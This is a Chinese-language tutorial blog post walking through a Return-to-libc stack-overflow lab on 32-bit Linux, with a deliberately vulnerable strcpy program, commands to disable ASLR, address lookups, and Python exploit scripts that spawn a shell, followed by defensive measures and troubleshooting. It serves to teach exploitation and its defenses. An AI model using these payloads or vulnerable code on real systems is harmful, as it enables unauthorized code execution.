☰
从栈溢出到Return-to-libc:绕过NX执行系统命令
2026/10/21 23:20:00 网站建设 项目流程

缓冲区溢出实验做到一定程度,很多人会卡在这样一个尴尬节点:shellcode已经写得滚瓜烂熟,返回地址也算得清清楚楚,一执行却发现程序直接段错误。原因通常不是你的计算错了,而是系统的栈已经不再可执行了。NX(No-eXecute,不可执行栈)几乎是现代操作系统默认开启的保护,你辛苦布置在栈上的shellcode根本不会获得CPU执行机会,这就是栈溢出实验从入门走向进阶的分水岭。Return-to-libc正是绕开“栈不可执行”的经典思路,核心思想不是去执行栈上的代码,而是利用程序已经装载进内存的libc库函数——最常见的目标就是system。这个实验适合已经完成基础栈溢出、懂得覆盖返回地址的读者,也适合想为后续学习ROP打底的人。学会了它,你不仅是“会弹一个shell”,更重要的是理解栈上返回地址和参数之间的内存布局、函数调用约定以及地址计算这套基本功。

“不用执行栈上的shellcode,而是借用libc的system函数直接执行系统命令”,这句话就是Return-to-libc的灵魂。下面我把从环境搭建、原理拆解到完整实操的整个过程都过一遍,尽量把我自己踩过的坑和现场经验也放进来。

1. 为什么需要Return-to-libc

1.1 从基础栈溢出到NX屏障

基础栈溢出实验大家应该很熟:程序用strcpy这类不做边界检查的函数拷贝输入,输入超出缓冲区的部分会一路覆盖到栈上的函数返回地址。只要把返回地址改成shellcode所在地址,函数返回时CPU就会跳到栈上执行你的shellcode,拿到一个交互shell。

但这是在有“栈可执行”这种理想条件下才成立。现代Linux内核在支持NX的CPU上,会把栈内存页标记为“可读写但不可执行”。你用readelf -l查看程序段时,如果没有给链接器指定-z execstack,GNU_STACK段的权限标记里就不会出现E(Executable)。这种情况下,哪怕CPU的eip已经指到栈上你精心布置的shellcode,取指令阶段也会因为页权限不匹配而触发SIGSEGV。

我印象很深的一次实验:在Ubuntu 16.04上编译一个没开栈保护、但也没开execstack的小程序,把经典的shellcode注入打成之后,替换返回地址,程序直接段错误。一开始我以为是地址算错了,在gdb里反复查eip、查栈内容,最后发现eip确实跳到了shellcode地址,但执行第一条指令就段错误。这让我第一次体会到,光会往栈里塞shellcode,在现代防护面前是不够的。

1.2 NX/栈不可执行的本质与绕过思路

栈为什么不可执行?这是操作系统的内存页保护机制,每个内存页都有读(R)、写(W)、执行(X)权限位。正常程序需要的栈只是用来存局部变量、函数参数、返回地址,从来不应该去“执行”栈上的字节。所以内核干脆把栈页的X位去掉,从硬件层面阻止这类利用。

但这带来一个问题:攻击者需要找到一片既有可执行权限、又包含可被利用代码的内存区域。最现成的目标就是libc——程序只要调用了printf、strcpy这些函数,libc几乎必然被加载到进程地址空间里,而且libc的代码段是可执行的。既然不能“执行你的代码”,那就“执行libc里的代码”。Return-to-libc的思路极其朴素:把函数的返回地址覆盖成libc里某个函数(比如system)的地址,再精心布局栈上的“返回地址”和“参数”,让这个函数被调用时恰好执行了你想要的逻辑。

用生活中的话来说:栈可执行时,你是在“自己动手炒菜”;栈不可执行时,你没法自己开火,那就直接打电话让饭店(libc)炒——你只要把菜单(参数)放对位置就行。

注意:Return-to-libc是整个“代码复用攻击”(Code Reuse Attack)家族的起点,后面更复杂的ROP链本质上就是“链接多个libc片段”的泛化版本。把Return-to-libc吃透,再学ROP会顺畅很多。

2. 实验环境搭建

2.1 底板选择与依赖安装

这个实验我建议在32位环境下做,原因是32位下函数参数通过栈传递,栈布局直观,一个payload直接可以看到“返回地址+参数”排在一起;64位下参数走寄存器,还要处理rdi的传参和更长的地址截断问题,不太适合作为第一次接触Return-to-libc的实验环境。

Ubuntu 16.04的镜像单独装成32位系统是干净的方案;如果你手头只有64位的Ubuntu 16.04,也没问题,安装32位运行库后同样可以用gcc -m32交叉编译32位程序。需要安装的基本工具包括gcc、gdb、python3(写payload用)。在64位系统上交叉编译32位程序,先确认multilib正常:

sudo apt-get update sudo apt-get install gcc gdb python3 # 64位系统额外安装: sudo apt-get install gcc-multilib libc6-dev-i386

实验环境请使用隔离的虚拟机或容器,不要在物理工作机上直接做这类测试。实验完成后恢复快照或销毁容器,这是安全习惯问题,不是教学流程本身。你要有一个随时可以推倒重建的环境,才敢放开手去改编译选项、调系统参数。

2.2 关闭ASLR:为什么和怎么做

ASLR(地址空间布局随机化)会随机化libc加载基址,导致system的真实地址每次运行都不一样。如果一开始就带着ASLR做实验,新手会陷入“地址怎么每次都不同”的迷茫,很难抓住核心链路。所以本次实验先关闭ASLR,把整条攻击链跑通后再打开ASLR,研究更复杂的版本。

# 方法一:sysctl(当前生效,重启后恢复) sudo sysctl -w kernel.randomize_va_space=0 # 方法二:直接写proc echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

注意:kernel.randomize_va_space=0是关闭全局地址随机化;如果只想针对单个程序测试,也可以临时使用setarch -R ./vuln ...这种更精细的方式,不过教学阶段直接关掉更省心。

关闭ASLR时,gdb内外得到的libc加载地址一致,后续用info proc mappings查基址和Python构造payload的结果就不会出现“gdb里能打、shell里打不了”的经典尴尬。这个点我在后面的问题排查部分还会专门讲,它是很多新手卡壳的重灾区。

2.3 编译一个有漏洞的靶机程序

实验程序本身很简单,就是一段经典的strcpy越界拷贝代码,我这里用命令行参数传输入,调试时比较直观:

#include <stdio.h> #include <string.h> void vulnerable(char *input) { char buf[100]; strcpy(buf, input); printf("Received: %s\n", buf); } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <input>\n", argv[0]); return 1; } vulnerable(argv[1]); return 0; }

为了让这个程序成为“靶机”,编译时关闭栈保护canary,同时保持栈不可执行(也就是不加-z execstack):

gcc -m32 -fno-stack-protector -o vuln vuln.c

如果你的gcc版本较新,默认开启了PIE,还需要显式加上-no-pie,保证可执行文件自身加载地址固定。Ubuntu 16.04自带的gcc默认不启用PIE,所以不加也没关系;但如果你用的工具链版本较新,或者你在迁移到更新系统时复现这个实验,别忘了这个选项。

编译后务必确认两条关键信息。第一,GNU_STACK段没有E权限:

readelf -l vuln | grep GNU_STACK # GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10

第二,用ldd ./vuln查看libc的实际路径和加载方式。这些确认做完,实验环境基本就位。新手最容易犯的混淆是:基础教程里会让你加-z execstack把栈变成可执行,从而可以直接执行shellcode;但Return-to-libc的目标正好相反,就是要让栈保持不可执行,才能完整体现“为什么不能跑shellcode,只能借用libc函数”。所以编译时千万别带着肌肉记忆顺手加上-z execstack。

3. 核心原理:攻击链设计与栈布局

3.1 返回地址、参数与栈帧的关系

Return-to-libc能成立,依赖的是x86 32位下的函数调用约定cdecl。正常调用一个函数时,调用者先把参数从右往左压栈,然后执行call指令。call指令会把当前指令的下一条地址(返回地址)压栈,再跳转到被调函数。被调函数一开始,栈顶esp指向的是返回地址,esp+4开始才是参数。

我们真正要控制的,是“程序从一个函数返回到另一个函数”的瞬间。当被调函数执行ret时,CPU会从栈顶弹出4个字节写入eip。假如这4字节不是原来的返回地址,而是system的地址,那么system会以这样的栈状态开始执行:esp指向“返回地址位”,esp+4指向“参数位”。system的栈帧建立指令会把这个esp当成自己的栈底,后面从栈底偏移4字节处取返回地址,偏移8字节处取第一个参数。

用一幅ASCII图来表示最终的栈布局,从低地址到高地址:

+------------------------+ | buf[0..99] | ← 局部变量区 +------------------------+ | fake_ebp (4字节) | ← 覆盖前是旧ebp +------------------------+ | system_addr (4字节) | ← 覆盖原返回地址 +------------------------+ | exit_addr (4字节) | ← system返回后跳到这里 +------------------------+ | binsh_addr (4字节) | ← system的第一个参数 +------------------------+

这就是攻击payload的骨架:padding | system地址 | exit地址 | "/bin/sh"地址。padding是填充溢出用的,system地址覆盖原返回地址,exit地址是system执行完后的返回地址(给system一个“善后”的函数),最后的"/bin/sh"地址就是system的第一个参数。

3.2 为什么选用libc内部的"/bin/sh"

在基础栈溢出里,/bin/sh字符串通常是自己写进环境变量或者放在栈上的。Return-to-libc场景下,字符串如果用环境变量传,地址受环境变量长度、排列顺序影响较大,计算起来很繁琐。libc的只读数据段里其实已经内置了一个"/bin/sh"字符串(很多glibc版本都有),而且它的地址可以通过“libc基址+固定偏移”精确算出来,非常稳定。

用libc内的字符串还有一个好处:这个地址指向libc的只读数据段,system执行shell命令时读取它不会被改写,稳定性好。所以攻击链变成了三个目标:system函数地址、exit函数地址、"/bin/sh"字符串地址,三者都要从libc里找到。这也是“Return-to-libc”字面意思的由来——返回动作落在libc里,而不是落到栈上的自定义代码。

如果你愿意,也可以不把返回地址指向exit,而是随便填一个无害地址,甚至不填。但这样system执行完之后,CPU会从一个不确定的栈地址继续取指,基本必然崩溃。实操中你会发现:崩溃发生在shell退出之后,你仍然有机会先拿到shell。但用exit收尾会让整个过程更干净,也让栈布局的语义更完整。

3.3 地址计算的完整链条

地址计算是整个实验最容易出错的部分,先梳理清楚链条:

  • libc基址是运行时加载地址,同一个libc文件在不同进程里加载基址可能不同。
  • system函数在libc内的偏移是静态的,由libc文件自身决定。
  • "./bin/sh"字符串在libc内的偏移同样是静态的,由libc文件自身决定。

所以运行时地址 = libc基址 + 静态偏移。获取libc基址,最直接的方法是在gdb里让程序跑起来,再查内存映射:

gdb ./vuln (gdb) break main (gdb) run (gdb) info proc mappings

输出里会有一行类似:

0xf7df2000 0xf7fbc000 0x1ca000 0x0 r-xp /lib/i386-linux-gnu/libc.so.6

最左边的地址就是该libc映射段的起始地址,一般就是libc基址。另一个更省事的办法是直接在gdb里打印system的运行时地址:

(gdb) p system $1 = {<text variable, no debug info>} 0xf7dfe940 <system>

字符串地址最好还是通过基址加偏移计算,因为libc里的字符串不一定有直观符号可供gdb直接打印。获取libc内偏移,在静态文件上操作即可:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@@" # 输出类似: 1335: 0003a940 111 FUNC GLOBAL DEFAULT 13 system@@GLIBC_2.0 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" # 输出类似: 158e8b /bin/sh

这只是示例,真实机器上的glibc版本不同,偏移值会不一样,必须用你自己环境里查到的数字来算。

注意:strings的-t x表示输出十六进制偏移。为避免locale干扰输出格式,建议用LC_ALL=C strings -a -t x ...,结果更稳定。

4. 实操:从偏移计算到拿到Shell

4.1 计算偏移量

先确定覆盖到返回地址需要多少字节。我的代码里char buf[100],紧接着4字节的旧ebp,之后才是返回地址,理论上是104字节。但编译器在优化、填充上的行为偶尔会带来意外,最稳妥的方法是实测。

实测可以用GDB配合重复模式串,也可以直接数地址差值。拿我的程序为例:

gdb ./vuln (gdb) b vulnerable (gdb) run "AAAA" # 随机短输入 (gdb) p &buf (gdb) p $ebp

$ebp - &buf是旧ebp到缓冲区头的距离,加上4字节的旧ebp占位,就是覆盖返回地址的起点。假如结果显示缓冲区和旧ebp之间距离100,那起点就是104字节。不同机器、不同编译参数可能导致这个值不是104,一切以实测为准。我就见过某些编译选项下,编译器为了对齐在缓冲区后插入额外填充,直接照抄教程偏移打不进去。

4.2 构造Payload

假定在某个Ubuntu 16.04 32位实验环境里,查到如下地址(这组数字仅用于说明流程,真实环境请用你自己查到的地址替换):

  • libc基址:0xf7df2000
  • system偏移:0x0003a940 → system实际地址 0xf7e2c940
  • "/bin/sh"偏移:0x00158e8b → /bin/sh实际地址 0xf7f4ae8b
  • exit偏移:0x0002e360 → exit实际地址 0xf7e20360

payload结构用小端序打包三个地址:

import struct padding = b"A" * 104 system_addr = 0xf7e2c940 exit_addr = 0xf7e20360 binsh_addr = 0xf7f4ae8b payload = padding payload += struct.pack("<I", system_addr) payload += struct.pack("<I", exit_addr) payload += struct.pack("<I", binsh_addr) with open("payload.bin", "wb") as f: f.write(payload)

这里的小端序是一个非常容易搞错的概念。32位x86内存中以小端存储数字,0xf7e2c940在内存里的字节顺序是\x40\xc9\xe2\xf7。所以payload文件里看到的就是一堆“倒过来”的字节,这是正常的。用xxd payload.bin查看,结果会类似:

00000000: 4141 4141 ... 40 c9 e2 f7 60 03 e2 f7 8b ae f4 f7

其中40 c9 e2 f7就是0xf7e2c940,后面依次是exit、binsh地址。

4.3 执行与验证

由于payload含不可见字符,直接用shell命令行传参很容易被误解析,我用Python启动目标程序并给它传参:

import subprocess import struct padding = b"A" * 104 system_addr = 0xf7e2c940 exit_addr = 0xf7e20360 binsh_addr = 0xf7f4ae8b payload = padding + struct.pack("<I", system_addr) + struct.pack("<I", exit_addr) + struct.pack("<I", binsh_addr) p = subprocess.Popen(["./vuln", payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate(b"id\n") print(stdout.decode(errors="ignore"))

如果利用成功,stdout里会出现类似uid=1000(...) gid=1000(...)的输出,因为system("/bin/sh")启动的子shell读取了id\n并执行。这条路走通,说明我们已经返回到了libc的system函数,并且以正确参数执行了shell命令。

4.4 成功后的细节观察

拿到shell只是结果,更值得做的是把整个过程还原一遍。我建议成功后,在gdb里重新走一次:在ret指令处下断点,查看ret执行前后的esp、eip变化。

(gdb) b *vulnerable+... # 在leave/ret附近下断点 (gdb) run <some_payload> (gdb) x/8wx $esp

你会看到返回地址、exit地址、binsh地址依次排列在栈上。当执行完ret后,eip变成system地址,esp指向exit地址。随后进入system时,它把当前esp当成“被调用者栈底”。看到这一步,攻击链的栈布局逻辑就彻底通了。我一直认为,在gdb里亲眼观察一次ret前后的寄存器变化,比看十页理论都管用。

5. 进一步:ASLR开启后如何应对

5.1 先跑通关闭ASLR版本的意义

关闭ASLR的实验并不是“纸上谈兵”,它帮我们把“地址计算+栈布局+ABI传参”这几个核心要素剥离出来。如果连这些都不牢固,直接去对抗ASLR等于地基没打好就上高层,遇到报错会分不清是布局问题还是随机化问题。

熟练之后,把ASLR打开:

sudo sysctl -w kernel.randomize_va_space=2

再跑一遍同一个payload,大概率会失败,因为libc基址每次运行都在变,之前算出来的固定地址已经失效。这恰恰是观察ASLR价值最好的方式:不是背概念,而是亲手看到“同一个payload,换个运行时刻就失效”。

5.2 信息泄露与两步利用的思路

在真实程序里绕过ASLR,最常见的基础思路是先“泄露”一个libc地址。例如漏洞程序如果能把某个glibc函数指针的地址打印出来,那么就能反推出libc基址:

libc基址 = 泄露的地址 - 该符号在libc内的偏移

拿到基址后再走一次Return-to-libc,把地址动态算进payload。这就形成了“泄露-计算-重打”两步利用模式。不少CTF的pwn题都是这个套路。入门阶段不需要立刻实现它,但应该明白:ASLR随机化的是基址,不是“偏移”。只要泄露渠道存在,库内偏移固定这一点就可以被利用。

提示:32位系统受地址空间大小限制,ASLR的熵比较有限;64位下ASLR熵高很多,利用难度不在一个量级。这也是为什么实验先用32位入门,再用64位进阶。后续有空可以单独把64位下的传参与地址截断问题拿出来写一篇。

6. 防御视角:看懂攻击是为了更好地防守

6.1 从攻击链反推防御重点

Return-to-libc能成立,依赖三个前提:缓冲区越界写、栈上返回地址可被覆盖、libc地址可预测(或可泄露)。防御思路就是针对这三条逐一下手。

第一,从代码层面消除越界写。strcpy换成strncpy、fgets,或显式长度检查,是最根本的修复。这也是为什么现代C语言规范指导里,strcpy被明确列入高危函数。第二,从编译器层面加防护。栈canary(stack protector)会把一个随机值放在缓冲区与返回地址之间,返回前校验,被覆盖立即中止;RELRO让GOT表只读,防止改函数指针;FORTIFY_SOURCE则在编译期插入缓冲区长度检查。第三,从系统层面做隔离与随机化。NX让栈不可执行,ASLR让libc基址不可预测。三层防御叠加起来,利用链的前置条件就被拆得七零八落。

6.2 用防御效果做验证实验

一个很直观的验证方法:把同一个漏洞程序换用不同编译选项,逐个观察利用是否失效。比如加-fstack-protector编译:

gcc -m32 -fstack-protector -no-pie -o vuln_protected vuln.c

再用之前的payload去打,会发现程序在函数返回前触发canary检查并abort,输出*** stack smashing detected ***。这就是防护生效的瞬间。亲手看到这条报错,比背十遍“canary会检测栈溢出”都印象深刻。

防御视角的内容不是唱高调,而是把攻击原理当成安全评估的工具。只有能解释清楚某条防御为什么有效、绕过它需要什么前置条件,才能真正判断一个系统在什么状态下是安全的。这也是为什么我一直建议安全学习者“先学进攻,再学防御”——没有进攻视角的防御,往往只是对着检查清单打勾。

7. 常见问题与排查实录

7.1 问题速查表

我把做这个实验反复遇到的几类问题整理成一张表,方便遇到报错时快速对照。

现象可能原因解决办法
gdb里能成功,退出gdb直接运行失败gdb默认关闭ASLR,而shell环境ASLR开启全局关闭ASLR后用shell直接运行;或保持开启并在payload里动态计算地址
程序一执行就段错误返回地址没有正确覆盖到;或system返回后用非法地址继续执行在ret处下断点查看eip、esp;确认偏移是否准确
system执行后没有拿到shell,反而卡住system内部启动的sh等待输入,但输入通道没有正确连接用subprocess发送命令;或让程序从stdin读取输入
payload里出现\x00导致后续地址没写进去strcpy在遇到\x00时停止拷贝换一组不含0字节的地址;或改用fread等不受字符串截断影响的输入接口
查到的libc偏移和别人教程里不一样glibc版本不同用自己的libc文件重新readelf/strings查询偏移,不要照抄网上的数字

7.2 几个值得单独强调的坑

第一个坑是“gdb内外不一致”。GDB为了方便调试,默认会对被调试进程关闭ASLR。这意味着你在gdb里看到的libc地址,和直接在shell里运行时不同。如果你在gdb里跑透了,关掉gdb直接运行却失败,第一反应就该是检查随机化是否真的关了。解决办法就是先全局关ASLR,再确保gdb没有额外开什么设置。新手往往在这一步消耗大量时间,甚至误以为Payload构造有问题,白白重查半天。

第二个坑是字符串截断。strcpy是C字符串拷贝,遇到字节0就会停止。如果payload中任何一个地址的小端字节里含有0x00,后面地址根本写不进栈。有些新手看到“system地址后面怎么多出一截填充字符”才会意识到这个问题。应对思路是优先选择不含0字节的地址组合;实在绕不开,就把靶机程序的输入接口换成fread这类不受字符串截断影响的方式。

第三个坑是shell交互。system("/bin/sh")启动的是一个子shell,它会从标准输入读取命令。如果你用Python的subprocess.run,程序可能已经退出,shell还没来得及执行你的命令。我第一次做的时候,用run跑了半天没看到输出,还以为是利用失败,后来换成Popen加communicate(b"id\n"),输出一下就出来了。这个细节很小,但能卡住人很久。

第四个坑不在技术细节里,而是在实验边界。所有利用实验都应该在隔离环境、明确授权的靶机上做,不要拿去碰任何生产系统或他人的设备。安全技术的价值在于理解危害、修复漏洞和提升防护,而不是成为破坏工具。这个边界想清楚,后面的学习路径才不会走偏。

最后再说一点个人体会。Return-to-libc这个实验我完整做下来,收获最大的不是某个“弹shell”的瞬间,而是把栈布局、函数调用约定、内存地址计算这三件事真正串到了一起。我做基础栈溢出时,地址靠工具算、payload靠模板拼,很多细节是模糊的;做完Return-to-libc,我才清楚地知道system进入后esp在哪个位置、参数从哪里取,为什么payload的顺序必须是返回地址、出口地址、参数。这种对内存模型的直觉,后来学ROP、学格式化字符串漏洞都一直在复用。

如果你也正在从基础栈溢出往进阶方向走,建议别急着跳去学最难的ROP链,先把这个实验彻底吃透。你可以故意注释掉exit地址、故意把ASLR打开、故意给libc换一个版本,看看会发生什么,自己推一遍原因。踩过的坑越多,后面反而越顺。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询